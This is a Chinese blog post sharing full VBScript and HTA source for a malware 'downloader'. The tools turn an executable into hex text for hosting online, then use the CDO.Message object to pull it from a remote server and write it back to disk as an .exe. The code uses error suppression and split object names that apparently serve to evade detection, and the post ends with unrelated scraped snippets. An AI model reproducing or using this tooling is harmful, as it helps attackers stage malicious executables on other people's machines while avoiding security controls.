最新版利用CDO.Message做的vbs下载者_vbs

vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。
NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================

复制代码 代码如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
下载者 down.vbs
=============

复制代码 代码如下:

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe

由于NP写的不知什么原因,在我机器上执行后生成的exe,进程不会自动退出,我重新更新一下。
=======用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。=======

复制代码 代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>package file v0.1</title>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<HTA:APPLICATION
ID="package file v0.1"
APPLICATIONNAME="package file v0.1"
VERSION="0.1"
SCROLL="no"
INNERBORDER="no"
CONTEXTMENU="yes"
CAPTION="yes"
ICON="no"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
MAXIMIZEBUTTON ="no"
WINDOWSTATE="normal"
NAVIGABLE="yes"
/>
<SCRIPT LANGUAGE="VBScript">
function transfert()
dim filename
filename = document.getElementById("srcFile").value
if len(filename)>0 then
dim oReq
'on error resume next
'//创建XMLHTTP对象
set oReq = CreateObject("MSXML2.XMLHTTP")
oReq.open "get","file:\\" & filename,false
oReq.send
ff = oReq.responseBody
dim u,s,kk
u = lenb(ff)
redim kk(u-1)
for i=0 to u-1
s = hex(ascb(midb(ff,i+1,1)))
if len(s)<2 then
s = "0" & s
end if
'kk = kk & s
kk(i) = s
next
make filename,join(kk,"")
else
document.getElementById("srcFile").focus
msgbox "请选择要压缩的文件",16,"提示"
end if
end function
function make(filename,data)
dim htm,file
file = mid(filename,instrrev(filename,"\")+1)
htm = htm & data
dim fso,f
dim this_file
this_file = file & "-pf.htm"
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(this_file, 2, True)
f.Write htm
msgbox "生成文件" & this_file & "成功!",64,"生成"
end function
</SCRIPT>
</head>
<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 ">
请选择文件:<input type=file id="srcFile" style="width:260px;"><br><br>
<input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close">
</body>
</html>

=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少=========

复制代码 代码如下:

'//保存文件
function saveFile(filename,str)
set adodbStream = CreateObject("ADODB" & "." & "Stream")
adodbStream.Type= 1
adodbStream.Open
adodbStream.write str
adodbStream.SaveToFile filename,2
adodbStream.Close
end function
'//VB数组转变成二进制格式
Function MultiByteToBinary(MultiByte)
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte & ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function

function exec()
'//屏蔽错误
on error resume Next
Set args = WScript.Arguments
if args.Count = 0 then
WScript.Echo "Usage: CScript down.vbs url c:\1.exe"
WScript.Quit 1
end If
dim data,t,kk,filename,ss
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody args.Item(0) ,31
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31
ss= Mail1.HTMLBody
Set Mail1=nothing

'//得到数据
data = ss
'//得到文件名
filename = args.Item(1)
'//得到数据长度
u = len(data)
'//获得文件数组
for i=1 to u step 2
t = mid(data,i,2)
kk = kk & ChrB(clng("&H" & t))
next
'//转变成二进制格式
dataArry = MultiByteToBinary(kk)
'//保存文件
saveFile filename,dataArry

end function
exec()

时间: 2024-09-17 03:36:00

最新版利用CDO.Message做的vbs下载者_vbs的相关文章

我有一台连接高速光纤的服务器,我想利用这个服务器做一个离线下载服务器,有什么思路?

问题描述 我有一台连接高速光纤的服务器,我想利用这个服务器做一个离线下载服务器,有什么思路? 我想在服务器写一个程序下载客户端传过去的,下载地址,在服务器上高速下载完毕之后,在通过内网ftp之类的传回客户端.请问有什么思路? 我知道迅雷有接口,查过thunderagent 但是在迅雷5之后这个接口除了添加下载任务之后,其他函数都不能用了. 后来知道了迅雷开放下载引擎,但是这个只是支持http协议下载,比较尴尬,大家有什么建议或者可行思路? 第一次提交问题,C币有限,合适一定给分. 解决方案 感觉

VBS下载文件的新方法_vbs

BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用. 于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscri

VBS 下载方法(CDO.MESSAGE)_vbs

于是研究了一会.写出个粗糙的DEMO. exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制 ================================================ 复制代码 代码如下: 'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do whil

Windows 2003下不注册组件用CDO.Message发邮件

window|发邮件|注册组件     其实ASP可以做很多事,只是大家不知道怎么用而以.微软为asp提供了非常多的现成有用的组件,而这些组件却没有人知道,如用CDO.Message发送邮件. 什么是CDO.Message?在winnt和win2k下发送邮件要用CDONTS.NewMail,CDONTS.NewMail组件是需要注册的,很简单,只要在服务器上运行命令行regsvr32 Cdonts.dll,在弹出的对话框中确定即可,使用CDONTS.NewMail服务还需安装有iis自带的smt

.NET WINFORM中使用本地SMTP SERVICE(CDO.Message错误处理)

smtp|错误|错误处理 这两天做了一个小PROJECT,大致是一个SERVER监控系统,如果发现某部SERVER有异常,发送EMAIL到相关手机,以便在非工作时间和节假日也能及时知道系统故障. 其中一个功能就是发送EMAIL.程序是这样的: myMailMsg.To = "888888888@mobile.att.net"; myMailMsg.From = "support@medicalit.net"; myMailMsg.Subject = "se

使用CDO.Message+SMTP发送邮件

smtp|发送邮件 <!--发送代码--> <% Const cdoSendUsingMethod="http://schemas.microsoft.com/cdo/configuration/sendusing" Const cdoSendUsingPort=2 Const cdoSMTPServer="http://schemas.microsoft.com/cdo/configuration/smtpserver" Const cdoSMT

如何利用seo技巧做产品站

自从6月28日后,百度算法调整一再改变,seo大师zac接受某网络采访时,说道:"往后的seo会越来越淡化技巧,越来越重视内容."此言一出再度雪上加霜,seor们不单单要忍受K站降权等等问题,还要把心思全放在无聊的内容建设上(内容的建设往往是需要时间的不断沉淀).事实上,在以前的格局里,多数的seor们总是把心思放在技巧上,例如面包屑导航中加入关键词.底部次导航建设,建设视频外链.分类外链等等.当一个引领白帽seo最尖端的人说这些将越来越被搜索引擎淡化时(我们总会理解成seo技巧将没有

利用问答平台做外链经验分享 不要忽视58问答

相信有许多站长朋友热衷于利用问答平台做外链.在我的每天工作中,起码要在个问答平台上做五十个回答.然后第二天可以查询到一大把的外链.我在学习别人的问答经验中,发现他们利用的平台一般是百度知道.搜搜问问.天涯问答,次一点的是新浪爱问甚至还有有问必答等. 我个人平时主要利用的问答平台只有四个.分别是百度知道.天涯问答.58问答.搜狗问答.其他的比如搜搜问问没有怎么使用. 首先我想分享的是我的58问答经验.好像还没有看到谁写过这方面的文章.因为许多站长朋友甚至还不知道58问答这个平台.其实我也是今年年初

利用热门事件做流量具备几个重要条件

  现在很多站长喜欢利用节日或者热门事件来引流量,他们都在利用xxx节日或者xxx事件,通过seo手段,给网站带来了大把的流量,常见的有利用百度风云榜等实时热点事件榜单在第一时间抓取热点资讯,或者利用国家规定的节假日,如最近的国庆节.中秋节.乔布斯逝世.淘宝事件等方式来获取众多的流量. 利用这些方式获取流量,能取到好的效果,但是很多站长可能也去尝试过别人所说的那种方法,但就是看不到有任何的效果,甚至发现自己的那篇文章连百度都没被收录,殊不知在利用热门事件做流量,还有一些比较重要的条件,才能达到别